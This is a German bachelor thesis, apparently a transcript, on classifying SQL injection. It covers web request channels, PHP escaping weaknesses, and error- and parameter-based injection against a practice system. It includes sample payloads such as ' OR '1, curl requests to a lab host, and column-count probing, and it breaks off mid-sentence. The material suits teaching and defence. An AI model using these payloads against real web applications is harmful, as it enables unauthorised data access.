systematik von sql-injektion in theorie und praxis · 1 einführung und motivation des themas........
TRANSCRIPT
Hochschule Wismar
Fakultät für Ingenieurwissenschaften
Bereich Elektrotechnik und Informatik
Bachelor Thesis
Systematik von SQL-Injektion
in Theorie und Praxis
eingereicht von: Christian Hense
geboren am 19. September 1974 in Sömmerda
Studiengang IT-Forensik
Betreuer: Prof. Dr.-Ing. Antje Raab-Düsterhöft
weitere Gutachter:
Weimar, den 23. August 2019
Prof. Dr.-Ing. habil. Andreas Ahrens
Vorwort und Danksagung
3
Vorwort und Danksagung
An dieser Stelle möchte ich mich bei all denjenigen bedanken, die mich während
der Anfertigung dieser Arbeit unterstützt und motiviert haben.
Zuerst gebührt mein Dank Prof. Dr.-Ing. Antje Raab-Düsterhöft, die mein
Interesse an diesem Thema geweckt, meine Arbeit betreut und begutachtet hat.
Ein besonderer Dank gilt meinem Arbeitgeber, der Bauhaus-Universität Weimar,
welche mich zu dem Studium der IT-Forensik delegiert hat.
Christian Hense,
Weimar, 23.08.2019
Aufgabenstellung
4
Aufgabenstellung
Im Rahmen der geplanten Arbeit werden die Grundlagen von SQL-Injektion und
die Erstellung eines passenden Übungssystems betrachtet. Dabei besteht die
Arbeit aus einem theoretischen und einem praktischen Teil. Im theoretischen Teil
werden Aufbau, Struktur und Möglichkeiten von SQLi speziell in Webanwendun-
gen untersucht und verglichen. Im Ergebnis steht zum einen eine Systematik,
nach der sich SQLi-Lücken kategorisieren lassen sowie eine Übersicht nützlicher
Payloads. Im zweiten Teil wird die Einrichtung eines Übungssystems be-
sprochen. Damit soll dem Leser ein Werkzeug an die Hand gegeben werden, die
Möglichkeiten von SQL-Injektion praktisch nachzuvollziehen. Für die Realisie-
rung dieser Aufgabe wird eine virtuelle Maschine eingesetzt. Auf dieser kommen
dann Apache und PHP als Laufzeitumgebung für die Webanwendung zum Ein-
satz. Die unterschiedlichen Datenbanksysteme werden jeweils in separaten
Dockercontainern bereitgestellt.
Inhalt
5
Inhalt
1 Einführung und Motivation des Themas................................................................................... 7
1.1 Abgrenzung der Arbeit ................................................................................................... 7
1.2 Methodisches Vorgehen ................................................................................................ 8
2 Webanwendungen ................................................................................................................... 9
2.1 Hypertext Transfer Protocol ......................................................................................... 10
2.2 Argumentübertragung in HTTP-Anfragen .................................................................... 10
2.2.1 GET-Request ..................................................................................................... 11
2.2.2 POST-Request .................................................................................................. 12
2.2.3 HTTP-Header .................................................................................................... 13
2.3 Middleware ................................................................................................................... 15
2.4 Datenbanksystem ........................................................................................................ 16
2.5 Schichtentrennung ....................................................................................................... 16
3 SQL-Injection .......................................................................................................................... 18
3.1 Anfragekanal ................................................................................................................ 18
3.1.1 GET-Request ..................................................................................................... 19
3.1.2 POST-Request .................................................................................................. 21
3.1.3 HTTP-HEADER-Argumente .............................................................................. 21
3.2 Ausgabekanal .............................................................................................................. 24
3.2.1 In-Band-SQLi ..................................................................................................... 24
3.2.2 Inferenzielle SQLi (BLIND-SQLi) ....................................................................... 28
3.2.3 Out-of-Band ....................................................................................................... 32
3.3 Payloads ...................................................................................................................... 34
3.3.1 SQL-Befehle und ihre Anfälligkeit für Injektionen .............................................. 34
3.3.2 SQL-Multiabfragen ............................................................................................. 36
3.3.3 Schutz vor SQL-Injektion durch Filtern der Eingabedaten ................................ 37
3.3.4 Das verwendete Datenbankmanagementsystem identifizieren ........................ 38
3.4 Ziele von SQL-Injektion ................................................................................................ 39
3.4.1 Ausspähen von Daten ....................................................................................... 40
3.4.2 Veränderung von Daten..................................................................................... 43
3.4.3 Datenbank-Server verändern ............................................................................ 45
3.4.4 Zugriff auf das Filesystem.................................................................................. 47
3.4.5 Einschleusen beliebigen Codes ........................................................................ 49
4 Übungssystem ........................................................................................................................ 53
4.1 Docker und Datenbankcontainer ................................................................................. 54
4.1.1 MySQL-Container .............................................................................................. 54
4.1.2 PostgreSQL ....................................................................................................... 56
Inhalt
6
4.1.3 MSSQL-Container ............................................................................................. 56
4.1.4 Oracle-Container ............................................................................................... 57
4.1.5 SQLite ................................................................................................................ 57
4.1.6 Filesystem .......................................................................................................... 58
4.2 Verwendung des Übungssystems ............................................................................... 58
4.2.1 DokuWiki ............................................................................................................ 59
4.2.2 adminer .............................................................................................................. 59
4.2.3 victim.com aus "SQL Hacking" .......................................................................... 60
4.2.4 allgemeine SQLi Übungen ................................................................................. 61
4.3 Webserver und Tools ................................................................................................... 62
4.3.1 burp Suite .......................................................................................................... 62
4.3.2 sqlmap ............................................................................................................... 64
4.3.3 Wireshark ........................................................................................................... 65
5 Zusammenfassung und Ausblick ........................................................................................... 66
Literaturverzeichnis ..................................................................................................................... 68
Bilderverzeichnis ......................................................................................................................... 69
Tabellenverzeichnis ..................................................................................................................... 72
Verzeichnis der Abkürzungen ..................................................................................................... 73
Selbstständigkeitserklärung ........................................................................................................ 74
Einführung und Motivation des Themas
7
1 Einführung und Motivation des Themas
Dank zunehmender Rechenleistung von Computersystemen und einer immer
stärkeren Verbreitung von internetfähigen mobilen Clients finden auch daten-
bankgestützte Webanwendungen eine immer größere Verbreitung. Die zuneh-
mende Anzahl solcher Anwendungen sorgt gleichzeitig für eine Vergrößerung
der Angriffsfläche dieser Systeme. Eine der verbreitetsten Angriffstechniken in
diesem Bereich ist die SQL-Injektion.
Um die potentiellen Gefahren durch SQL-Injektion einschätzen und vergleichen
zu können, sind möglichst umfangreiche Kenntnisse und ein Verständnis dieser
Technik von großem Vorteil.
Im Rahmen der vorliegenden Arbeit werden die Grundlagen von SQL-Injektion
und die Erstellung eines passenden Übungssystems besprochen. Mit diesem
Übungssystem soll dem Studierenden ein Werkzeug an die Hand gegeben
werden, um die Möglichkeiten von SQL-Injektion möglichst vollständig zu erfas-
sen.
Für die Realisierung dieser Aufgabe wird eine virtuelle Maschine auf Basis von
„Virtual Box“ eingesetzt. Auf dieser kommen dann Apache und PHP als Laufzeit-
umgebung für die Webanwendung zum Einsatz. Die unterschiedlichen Daten-
banksysteme werden jeweils in separaten Dockercontainern bereitgestellt.
Alle Datenbankfiles der Datenbankcontainer liegen in einem vom Webserver er-
reichbaren Verzeichnis des Hostsystems, eine Konfiguration, die in der Praxis
aus Sicherheitsaspekten unüblich ist. Im Rahmen der vorgestellten Übungen
werden so die Auswirkungen von fehlender Schichtentrennung verdeutlicht.
1.1 Abgrenzung der Arbeit
Die Arbeit beschäftigt sich mit dem Thema SQL-Injektion auf Webanwendungen.
Aus diesem Grund werden nur relationale Datenbanken betrachtet. NoSQL-
Datenbanken werden nicht genutzt, obwohl diese auch über SQL angesprochen
werden können und so für vergleichbare Angriffe anfällig sind. Weiterhin werden
nur Webanwendungen besprochen, auch wenn ähnliche Methoden auch bei
Einführung und Motivation des Themas
8
anderen Arten von Anwendungen funktionieren würden. Viele native Programme
für Computer oder mobile Geräte nutzen inzwischen SQL-Datenbanken für die
Verwaltung programminterner Daten. Meistens kommen dabei SQLite-Systeme
zum Einsatz.
1.2 Methodisches Vorgehen
Die Arbeit beginnt mit dem prinzipiellen Aufbau von Webanwendungen und dem
zugrundeliegenden Datenübertragungsprotokoll. Dabei wird besonderes Augen-
merk auf die verschiedenen Möglichkeiten zur Parameterübertragung vom Client
an den Server gelegt, da dies der Kommunikationskanal ist, auf dem die SQL-
Injektion stattfindet.
In nächsten Kapitel werden die Grundlagen relationaler Datenbanksysteme
betrachtet. Sie stellen das primäre Ziel der SQL-Injektion dar.
Es folgt ein kurzer Überblick über SQL als Datenbanksprache. Diese bietet das
Vokabular der SQL-Injektion. Anschließend werden die Möglichkeiten von SQL-
Injektion dargestellt und eine Systematik zur Klassifizierung von SQLi-Payloads
entwickelt. Im vorgestellten und der Arbeit beiliegenden Übungssystem können
die vorgestellten Techniken durch praktische Versuche nachvollzogen werden.
Webanwendungen
9
2 Webanwendungen
Eine Webanwendung ist ein Anwendungsprogramm, das unter Verwendung des
Client-Server-Modells arbeitet. Im Unterschied zu nativen Desktopanwendungen
werden Webanwendungen nicht lokal auf dem Rechner des Benutzers installiert
und dort ausgeführt. Die Datenverarbeitung und -auswertung findet hauptsäch-
lich auf einem Anwendungsserver statt. Das Ergebnis der Datenverarbeitung
wird an den lokalen Client-Rechner des Benutzers übertragen und angezeigt.
Webanwendung nutzen dazu in der Regel einen Webbrowser. Die Anwendung
übernimmt die Kommunikation mit dem Webserver, meist über das HTTP-
Protokoll, und die Bereitstellung der Benutzeroberfläche (vgl. Clarke 2016: 28-
31). Während native Anwendungen für ein spezielles Betriebssystem entwickelt
werden müssen, sind Webanwendungen auf allen Systemen nutzbar, die über
einen Webbrowser verfügen. Manche Webanwendungen setzen bestimmte
Webbrowserversionen voraus oder benötigen Laufzeitumgebungen wie z. B.
JavaScript. Die Nutzung dieser zusätzlichen Techniken ermöglicht eine
Auslagerung von Teilen der Ausführungslogik vom Server auf den Client. Dies
wird häufig für die Validierung von eingegebenen Daten genutzt, bevor diese an
den Server übertragen werden. Eingabefehler können so ohne Kommunikation
mit dem Server erkannt und angezeigt werden. Durch die immer häufigere
Nutzung internetfähiger mobiler Endgeräte und die Relevanz von mobilen Apps
für diese, verbreitet sich die Verwendung der Abkürzung Web-App im
allgemeinen Sprachgebrauch zunehmend.
Bild 1: Aufbau einer Webanwendung
Webanwendungen
10
Wie in Bild 1 dargestellt, kommuniziert der Nutzer nur indirekt über den
Webserver bzw. dort ausgeführte Programme mit dem DBMS. Eingaben des
Nutzers, auch implizite wie Browserversion oder Bildschirmauflösung, werden
dabei möglicherweise an das DBMS weitergereicht.
2.1 Hypertext Transfer Protocol
Das Hypertext Transfer Protocol (HTTP) ist ein TCP-basiertes, zustandsloses
Übertragungsprotokoll, welches zum Austausch von Daten auf der Anwendungs-
schicht über ein Rechnernetz genutzt wird (vgl. Wikipedia: Hypertext Transfer
Protocol). HTTP ist als Protokollstandard für die Webkommunikation von allen
Softwareherstellern akzeptiert und bildet die Grundlage des Datenaustauschs
zwischen Webbrowser auf dem Client und einem Webserver. Es findet vielfach
Anwendung, um Webseiten aus dem Internet in einen Webbrowser zu laden, ist
aber auch als allgemeines Dateiübertragungsprotokoll sehr verbreitet. Als
zustandsloses Protokoll werden keine Informationen über den Sitzungsverlauf
mitgeführt. Das zuverlässige Mitführen von Sitzungsdaten muss auf der
Anwendungsschicht realisiert werden. Die Verwendung von Header-
Informationen und Cookies bietet sich hierfür an und ermöglicht so
Anwendungen, die Status- beziehungsweise Sitzungseigenschaften erfordern.
Durch Erweiterung seiner Anfragemethoden, Header-Informationen und
Statuscodes ist HTTP nicht auf Hypertext beschränkt, sondern kann zum
Austausch beliebiger Daten verwendet werden.
2.2 Argumentübertragung in HTTP-Anfragen
Die primäre Aufgabe von HTTP besteht darin, Daten eines Servers an einen
Client zu übertragen. Möchte ein Client Informationen an einen Server
übermitteln, stellt HTTP hierfür prinzipiell zwei Möglichkeiten zur Verfügung:
HTTP-GET: Die zu übertragenden Informationen werden Teil der aufgerufenen
URL und so beim erneuten Aufrufen des Links wiederholt übertragen. Sonder-
zeichen innerhalb der URL müssen teilweise codiert werden. Diese Methode
sollte nur für Aktionen verwendet werden, die beliebig oft wiederholbar sind und
keine Änderungen auf dem Server zur Folge haben.
Webanwendungen
11
HTTP-POST: Bei dieser Anfrageart werden die zu übertragenden Daten im
HTTP-Nachrichtenrumpf eingebettet, so dass sie in der URL nicht sichtbar sind.
Beim erneuten Aufruf der URL werden diese Daten nicht erneut an den Server
übertragen.
2.2.1 GET-Request
Die GET-Methode fordert eine Darstellung der angegebenen Ressource an.
Anforderungen, die GET verwenden, sollten nur Daten abrufen und keine
anderen Auswirkungen haben. Die zu übertragenden Daten werden als Liste an
die URL angehängt und mittels des Zeichens "?" von dieser abgetrennt. Einzelne
Datenfelder sind dabei durch das Zeichen "&" separiert und werden meist als
Parameter-Wert-Paar übertragen. Sonderzeichen, die der URL-Codierung
dienen, werden automatisch durch ihren HEX-ASCII-Code maskiert.
Tabelle 1: die wichtigsten Zeichen der HTML-Codierung
Zeichen HTML-Code ? %3F & %26 (Leerzeichen) + + %2B
Die Kommunikation zwischen Client und Server kann man mit Hilfe verschiedens-
ter Programme sichtbar machen. Im Rahmen dieser Arbeit kommt dafür das Pro-
gramm „burp“ zum Einsatz, welches in Kapitel 4.3. genauer beschrieben wird.
„burp“ arbeitet als lokaler Proxyserver und bereitet die Kommunikationsdetails
visuell ansprechend auf.
Bild 2: GET-Request
Webanwendungen
12
Der rot eingefärbte Text stellt die Anfrage des Clients an den Server dar. Im Bei-
spiel erkennt man den Anfragetyp (GET), die aufgerufene URL (…get.php), das
Steuerzeichen, welches die übertragenen Daten von der URL abtrennt (?) und
die übertragenen Nutzdaten in Name-Wert-Paaren. In diesem Fall die zwei
Parameter fname=vname und lname=nname, welche durch ein URL-
Steuerzeichen (&) getrennt sind. Seltener wird nur der Parametername ohne
Parameterwert übertragen. Ein Nachteil dieser Methode ist, dass die übertrage-
nen Daten mit der URL in der Historie des Browsers und den Logdateien des
aufgerufenen Servers gespeichert werden können. Dadurch ist es möglich, dass
persönliche Daten unbeabsichtigt an verschiedenen Stellen gespeichert werden.
Im Kontext von SQL-Injektion muss ein Angreifer damit rechnen, dass in Logfiles
alle Angriffsversuche und Payloads zu finden sind.
Durch die Nutzung von Rewrite-Engines auf dem Webserver ist es möglich,
Parameterwerte als Teil einer scheinbar statischen URL zu übertragen. Rewrite-
Engines werden häufig genutzt, um Ressourcen mit dynamischen URLs unter
Alternativadressen erreichbar zu machen.
Die Ressource mit der internen, technisch bedingten Adresse
/search.php?suche=test
ist so beispielsweise auch unter folgender Adresse erreichbar
/suche/test
Ein Kennzeichen dieser Methode ist, dass die angegebenen Parameter mit der
URL meist in der Historie des Browsers und in den Logfiles des Servers gespei-
chert werden. Die mittels GET-Request übertragbaren Daten sind in ihrem Um-
fang begrenzt. Lediglich 255 Bytes werden garantiert verarbeitet, wobei aktuelle
Systeme meist 16 kByte verarbeiten können.
2.2.2 POST-Request
Die POST-Anforderungsmethode fordert den Webserver dazu auf, die im Haupt-
teil der Anforderungsnachricht enthaltenen Daten zu akzeptieren und gegebe-
nenfalls zu speichern. Diese Funktion wird häufig für den Dateiupload oder zum
Webanwendungen
13
Senden eines ausgefüllten Webformulars verwendet. Der POST-Request ist ge-
eignet, größere Datenmengen an den Server zu übertragen; im Gegensatz zum
GET-Request besteht kein grundsätzliches Speicherlimit für die Übertragung von
Daten. Die Nutzdaten werden nicht als Teil der URL übertragen, sondern Teil des
HTTP-Headers.
Bild 3: POST-Request
Wieder zeigt der rot eingefärbte Text die vom Client zum Server übertragenen
Daten. Die Nutzdaten in Form von Name-Wert-Paaren sind im HTTP-Header ein-
gebettet. Die POST-Request-Methode sollte immer dann angewendet werden,
wenn die Anfrage Änderungen auf dem Server bewirkt.
Es gibt eine Reihe weiterer HTTP-Anfragevarianten, welche eher selten einge-
setzt werden und in ihren für SQLi-relevanten Eigenschaften einer der vorgestell-
ten Methoden entsprechen.
2.2.3 HTTP-Header
Bei jedem HTTP-Request werden im HTTP-Header Daten vom Client zum Server
übertragen. Die in HTTP-Header-Feldern übertragenen Informationen über-
mitteln für die Verbindung relevante Parameter und Argumente, so z. B. ge-
wünschte Sprache, akzeptierte Datenformate sowie oft Informationen über den
Client. Diese Datenfelder werden für den Nutzer unsichtbar automatisch vom
Client ausgefüllt (vgl. Stuttard/Pinto: 39-47). Anbieter von Webdiensten und
Webseiten sammeln und speichern diese Informationen manchmal, um
Statistiken über die Nutzer ihrer Angebote erstellen zu können. Werden diese
Daten in einer Datenbank gespeichert, so können auch HTTP-Header-
Informationen als Anfragekanal für SQLi genutzt werden. Für diesen Zweck
Webanwendungen
14
besonders geeignete Felder sind:
- Referer, dieser enthält den URI der verweisenden Seite
- UserAgent speichert Informationen über Art und Version des Browsers und
des Betriebssystems des anfragenden Clients
- Cookies sind servergenerierte Informationen, um den Nutzer wiederzuer-
kennen und den Verlauf einer Session sowie deren Zustände zu speichern.
Diese Informationen werden unabhängig vom Requesttyp automatisch vom
Client in den HTTP-Header eingefügt:
Bild 4: Headerinformationen in einem GET- bzw. POST-Request
In der Abbildung erkennt man die verschiedenen HTTP-Header-Felder eines
GET und eines POST Request. Die Felder des GET Requests wurden dabei nicht
verändert, die des POST Requests mit dem Wert „USER-DATA“ gefüllt, um die
Möglichkeiten der Manipulation zu verdeutlichen.
Webanwendungen
15
2.3 Middleware
Im Kontext von Webanwendungen bezeichnet Middleware die Programme, die
Nutzereingaben über die Netzwerkschnittstelle entgegennehmen, mit ihrer inter-
nen Anwendungslogik verarbeiten und Daten aus der Datenbank auslesen bzw.
in ihr ablegen. Innerhalb des Schichtenmodells arbeitet sie dabei auf einem
hohen Niveau und dient dem Datenaustausch zwischen den einzelnen ent-
koppelten Softwarekomponenten z. B. Webserver und Datenbank. Eine Aufgabe
dabei ist, Benutzereingaben derart zu filtern, das Nutzereingaben in der ange-
schlossenen Datenbank immer als Daten und niemals als Datenbankbefehl
interpretiert werden. Ist die Implementierung dieses Filters unvollständig oder
fehlerhaft, so ist die Anwendung für SQLi empfänglich. Für die SQLi Möglichkeit
einer Anwendung ist daher immer der hier als Middleware bezeichnete
Programmteil einer Webanwendung verantwortlich. Abhängig von der
Programmiersprache, in der die Middleware realisiert wurde, treten spezielle
SQLi Empfänglichkeiten gehäuft auf. In der häufig verwendeten Programmier-
sprache PHP sind unter anderem die folgenden Probleme bekannt:
Tabelle 2: SQLi relevante PHP-Befehle
PHP Befehl Problem magic_quotes_gpc unzuverlässige PHP-Direktive zur transparenten
Sonderzeichenmaskierung addslashes() Multibyteprobleme, z. B.:
0xbf27wird als ' und 0xbf5c als \ interpretiert mysql_real_escape_string() Multibyteprobleme, keine Maskierung von
geschachtelten Anführungszeichen wie '1"OR TRUE-- ' htmlspecialchars() maskiert <, >, &, ", aber nicht '
Die fehlende Variablentypisierung in PHP stellt eine weitere mögliche Quelle für
SQLi dar. Die Codezeile:
$SQL = "SELECT * FROM `table` WHERE id = $eingabe;";
geht von einer numerischen Eingabe aus, akzeptiert unabhängig von einer even-
tuell numerischen Vorbelegung auch Strings, so dass die Eingabe von:
(SELECT COUNT(1) FROM system)
zur der gültigen Abfrage:
Webanwendungen
16
SELECT * FROM `system` WHERE id= (SELECT COUNT(1) FROM system);
führt.
2.4 Datenbanksystem
Ein Datenbanksystem besteht aus dem ausgeführten Datenbankmanagement-
system (DBMS) in Verbindung mit den zu verwaltenden Daten der Datenbank.
Das Datenbanksystem gewährleistet die persistente Speicherung sowie die
Konsistenz der Nutzdaten einer Instanz und bietet für die benutzenden Daten-
bankanwendungen mit dem DBMS Schnittstellen zur Abfrage, Auswertung, Ver-
änderung und Verwaltung dieser Daten. Als Datenbank wird ein logisch
zusammengehöriger Datenbestand verstanden. Dieser Datenbestand wird von
dem DBMS verwaltet und physisch gespeichert. Die logische Struktur der zu
speichernden Daten wird bei der Datenmodellierung als Datenmodell erarbeitet
und festgelegt und nach den Syntaxregeln des DBMS gespeichert. Dazu erzeugt,
nutzt und verwaltet das DBMS einen Systemkatalog mit Metainformationen zum
Datenbestand. Hierzu zählen beispielsweise Informationen über Struktur, Daten-
felder, Zugriffsregeln und Integritätsbedingungen (vgl. Wikipedia: Datenbank).
Bild 5: Bestandteile eines Datenbankmanagementsystems
2.5 Schichtentrennung
Die Schichtenarchitektur ist ein häufig angewandtes Strukturierungsprinzip für
die Architektur von Softwaresystemen. Dabei werden einzelne Aspekte des Soft-
waresystems konzeptionell einer Schicht zugeordnet. Im Kontext von SQLi bei
Webanwendungen
17
Webanwendungen dienen sie vor allem der Erhöhung des Angriffswiderstandes
und der Verminderung der Auswirkung einer erfolgreichen SQLi. Konkret soll die
Trennung von Webserver, DBMS und Fileserver verhindern, dass via SQLi ein-
geschleuster Code auf dem Webserver ausgeführt wird oder Vollzugriff auf das
möglicherweise gemeinsame Filesystem erhält. Der eingeschränkte Netzzugang
des DBMS soll weiterhin Seitenkanalangriffe verhindern. Im Einzelnen sollen fol-
gende Probleme durch Schichtentrennung vermindert werden:
1. Via SQLi können Dateien geschrieben werden, die vom Webserver aus-
geführt und das Ergebnis an den Angreifer ausgeliefert werden. Dies ist
eine häufig verwendete Methode, um sogenannte Webshells zu installie-
ren, die dem Angreifer Zugriff aus Systemebene gewähren.
2. Via SQLi können z. B. via DNS-Anfragen Ergebnisse von BLIND-SQLi an
den Angreifer ausgeliefert werden.
3. Möglicher Zugriff auf Netzressourcen, z. B. SMB oder LDAP für Seiten-
kanalangriffe.
Um die möglichen Auswirkungen einer erfolgreichen SQLi möglichst gering zu
halten, empfiehlt sich eine Schichtentrennung in Webserver, Datendankserver
und Fileserver nach folgenden Schema:
Tabelle 3: Schichtentrennung
Fileserver Netzzugang
lesen schreiben ausführen lokal www Webserver x x Applikationsdateien x x
Log und Konfigurationsdateien x x
DBMS x Datenbankdateien x
Log und Konfigurationsdateien x x
SQL-Injection
18
3 SQL-Injection
Als SQL-Injektion wird das Ausnutzen einer Sicherheitslücke unter Verwendung
von SQL-Datenbanken bezeichnet. Dabei werden durch unvollständige Maskie-
rung der Benutzereingaben Teile dieser Eingaben vom DBMS nicht als Daten,
sondern als SQL-Anweisungen interpretiert. Dazu versucht der Angreifer über
die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbank-
befehle einzuschleusen. Eine SQL-Injektion besteht aus:
1. dem Anfragekanal
2. dem Ausgabekanal
3. der Payload
Die häufigsten Ziele von SQLi von SQLi sind:
1. Ausspähen von Daten
2. Veränderung von Daten
3. Datenbank-Server verändern
4. Änderungen am Filesystem
5. Einschleusen von beliebigem Code
Die folgenden Unterkapitel sollen die praktischen Nutzungsmöglichkeiten der ein-
zelnen Komponenten von SQLi aufzeigen.
3.1 Anfragekanal
Der Anfragekanal legt fest, auf welchem Weg die Benutzereingaben zur Web-
anwendung und damit letztlich zum DBMS gelangen. In der Wahl des Anfrage-
kanals ist der Angreifer nicht frei, sondern muss sich an den Möglichkeiten der
bereitgestellten Anwendung anpassen. Die häufigsten Anfragekanäle bei Web-
anwendungen sind der HTTP-GET-Request, der HTTP-POST-Request oder die
Auswertung von HTTP-HEADER-Argumenten. Die in diesem Kapitel folgenden
Beispiele werden realisiert mit Hilfe von:
- HTML, einer textbasierten Auszeichnungssprache zur Strukturierung
elektronischer Dokumente wie Texte mit Hyperlinks, Bildern und anderen
Inhalten. HTML-Dokumente sind die Grundlage des World Wide Web und
SQL-Injection
19
werden von allen Webbrowsern dargestellt.
- CURL, einer Programmbibliothek und Kommandozeilen-Programm zum
Übertragen von Dateien in Rechnernetzen, wobei alle in Browsern vorhan-
denen Funktionen frei parametrisierbar zu Verfügung stehen. CURL ist
standardmäßig fest in Linux- und Windowssystemen implementiert und ist
ohne Zusatzsoftware über die Kommandozeile aufrufbar.
- PHP, einer Skriptsprache mit einer an C angelehnten Syntax, die haupt-
sächlich zur Erstellung dynamischer Webseiten oder Webanwendungen
verwendet wird. PHP zeichnet sich durch breite Datenbankunterstützung
und Internet-Protokolleinbindung sowie die Verfügbarkeit zahlreicher
Funktionsbibliotheken aus.
Als Zielsystem kommt das der Arbeit in Form einer virtuellen Maschine beilie-
gende SQLi-Testsystem zum Einsatz, so dass die Beispiele auf einfache Weise
nachvollzogen werden können.
3.1.1 GET-Request
Der HTTP-GET-Request dient dem Anfordern einer Ressource vom Server. Die
technischen Details wurden in Kapitel 2.2.1. besprochen. Im einfachsten Fall
werden die Parameter als Teil der URL eingegeben oder verlinkt.
Bild 6: GET-Request mit Parameter via URL
HTML-Links werden immer als GET- Request ausgeführt:
SQL-Injection
20
Bild 7: GET-Request als HTML-Link und Parameter in der Adressleiste
Beim Aufruf mit CURL über die Kommandozeile kann man die Parameter eben-
falls an die URL anhängen:
curl -i -X GET http://www.victim.com/products.php?val=100
Auch in PHP lässt sich der GET-Request einfach mittels CURL realisieren:
Bild 8: ein einfacher PHP-CURL-GET-Request
Bei der Verwendung von GET-Requests sollte immer bedacht werden, dass alle
übergebenen Parameter sowohl in der eigenen Browserhistorie sowie in den
Logfiles des Webservers gespeichert werden. Bei unverschlüsselten Verbindun-
gen können auch Proxyserver diese Informationen speichern. Als weiterer ein-
schränkender Faktor kommt die maximale Länge von URLs in Zusammenhang
mit SQL-Injektion zum Tragen. Diese ist abhängig vom verwendetem Browser
und dem Webserver. Aktuell sollte die Gesamtlänge von 2000 Zeichen nicht
überschritten werden.
SQL-Injection
21
3.1.2 POST-Request
Dateneingaben sollten immer via POST-Request übertragen werden. Die Eigen-
schaften und Hintergründe des POST-Requests wurden in Kapitel 2.2.2. darge-
legt. Eine Parameterübergabe via URL ist nicht möglich, aber HTML-Formfelder
ermöglichen die Wahl der Requestart über den method-Parameter:
Bild 9: POST-Request mittels HTML-Formularfeld
Auch mittels CURL lassen sich POST-Requests realisieren:
curl -i -X POST --data "val=100" http://www.victim.com/products.php
In PHP lässt sich der POST-Request wie folgt realisieren:
Bild 10: ein einfacher PHP-CURL-POST-Request
Der POST-Request bietet dem Angreifer einige Vorteile, so werden übergebene
Parameter in der Regel nicht mitgeloggt und die Anzahl der übertragbaren
Zeichen ist wesentlich größer.
3.1.3 HTTP-HEADER-Argumente
Bei jedem HTTP-Request werden unabhängig von der Requestart Header-
argumente vom Client an den Server übertragen. Die HTTP-Header-Felder sind
SQL-Injection
22
Bestandteile des HTTP-Protokollheaders und übermitteln die für die Übertragung
von Dateien über HTTP wichtigen Parameter und Argumente, zu denen auch die
HTTP-Cookies zählen. Die Funktionen und Parameter des HTTP-Headers
wurden in Kapitel 2.2.3. besprochen. Web-Analytics-Tools, auch als Webtracking
bekannt, sammeln die im HTTP-Header übertragenen Daten zwecks späterer
Auswertung bezüglich des Verhaltens von Besuchern auf Webseiten oder der
Nutzung von Webapplikationen. In allen verbreiteten Webbrowsern lässt sich
über F12 der übertragene HTTP-Header anzeigen:
Bild 11: Ansicht des HTTP-Headers im Browser
CURL bietet die Möglichkeit, die HTTP-Header-Variablen frei einzustellen:
Auch in PHP ist die Manipulation des HTTP-Headers möglich:
SQL-Injection
23
Bild 12: HTTP-Header Beeinflussung mittels PHP
Im folgenden Beispiel wird die Auswertung der Headerinformationen im Browser
angezeigt und lässt sich so gut für SQL-Injektion nutzen, um z. B. die Datenbank-
version anzuzeigen:
Bild 13: SQLi via HTTP-Header
Cross-Site-Scripting, als Möglichkeit zur Code-Injektion, ist auch möglich:
Bild 14: SQLi und XSS via HTTP-Header
Bei diesem Beispiel von Cross-Site-Scripting wird Code, der später beim Client
ausgeführt wird, über eine SQL-Injektion in die Datenbank geschrieben. Diese
SQL-Injection
24
Methode wird häufig genutzt, um z. B. Zugangsdaten von Nutzern der Web-
applikation auszuspähen.
3.2 Ausgabekanal
SQL-Injektion kann bezüglich des Ausgabekanals in drei Hauptkategorien einge-
teilt werden: In-Band-SQLi, Inferential-SQLi und Out-of-Band-SQLi (vgl. Clarke
2016: 370-372). In diesem Artikel werden wir uns alle drei ansehen.
3.2.1 In-Band-SQLi
In-Band-SQL-Injektion sind die häufigsten und am einfachsten auszunutzenden
Arten von SQL-Injektion-Angriffen. Sie sind dadurch gekennzeichnet, dass der
Angreifer denselben Kommunikationskanal verwenden kann, um den Angriff zu
starten und Ergebnisse zu sammeln. Die drei häufigsten Arten von In-Band-SQL-
Injektion sind:
- Parameterveränderung
- fehlerbasiertes SQLi
- unionsbasiertes SQLi
Die einfachste Art von SQLi ist die Parameterveränderung. Dabei wird im ein-
fachsten Fall der übergebene Parameter so angepasst, dass die gewünschten
Daten ausgegeben werden. Ein einfaches Beispiel einer Parameterübergabe im
Link, also ein GET-Request - der gegebene Link lautet:
http://www.victim.com/products.php?val=100
führt zu der entsprechenden Ausgabe:
Bild 15: SQLi mit Parameterübergabe
SQL-Injection
25
Durch Erweiterung des Parameters um die Klausel: ' OR '1 wird daraus die
URL:
http://www.victim.com/products.php?val=100' OR '1
Die einfachen Anführungszeichen führen dazu, dass ein Teil der Eingabe
fälschlicherweise nicht als Eingabedatum, sondern als Teil der SQL-Anweisung
interpretiert wird.
Bild 16: SQLi durch Parametermanipulation
Die Erweiterung des Parameters um OR 1 führt dazu, dass die Überprüfung der
übergebenen Variable übersprungen wird und so die Einschränkung durch den
übertragenen Parameter aufgehoben wird.
Fehlerbasiertes SQLi (Error Based SQL Injection) ist eine In-Band-SQL-Injektion-
Technik, die auf Fehlermeldungen beruht, die vom Datenbank- oder Webserver
ausgegeben werden. In den Fehlermeldungen finden sich, abhängig vom ver-
wendeten DBMS und der Middleware, Informationen über das DBMS, die Struk-
tur der Datenbank, das Filesystem oder die Middleware. In einigen Fällen werden
in der Fehlermeldung sogar die Zugangsdaten zur Datenbank angezeigt. Manch-
mal reicht eine fehlerbasierte SQLi aus, damit ein Angreifer eine gesamte Daten-
bank auflisten kann. Während detaillierte Fehlermeldungen in der Entwicklungs-
phase einer Webanwendung sehr nützlich sind, sollten sie auf einer Live-Site
deaktiviert oder in einer Logdatei mit eingeschränktem Zugriff protokolliert
werden.
SQL-Injection
26
Die fünf im Testsystem verwendeten Datenbanken produzieren folgende Fehler-
meldungen:
Bild 17: DBMS Fehlermeldungen im Vergleich
Die ausgegebenen Fehlermeldungen sind dabei abhängig von dem verwendeten
DBMS, der eingesetzten Middleware und den Einstellungen des Webservers.
Fehlerbasiertes SQL-Injektion kann, durch Ausgabe der Anzahl der Spalten der
betroffenen Abfrage, auch die Voraussetzungen für unionsbasiertes SQLi liefern.
Bild 18: Fehlerbasiertes SQLi zur Bestimmung der Spaltenanzahl
SQL-Injection
27
Durch Probieren der Parameter der ORDER-BY Klausel konnte im Beispiel die
Spaltenanzahl der internen Abfrage auf vier bestimmt werden.
Union-basiertes SQLi ist eine In-Band-SQL-Injektion-Technik, die den UNION-
